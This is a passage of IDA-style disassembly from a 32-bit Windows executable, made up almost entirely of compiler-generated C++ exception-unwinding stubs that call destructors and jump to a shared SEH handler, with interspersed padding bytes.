		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C556CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
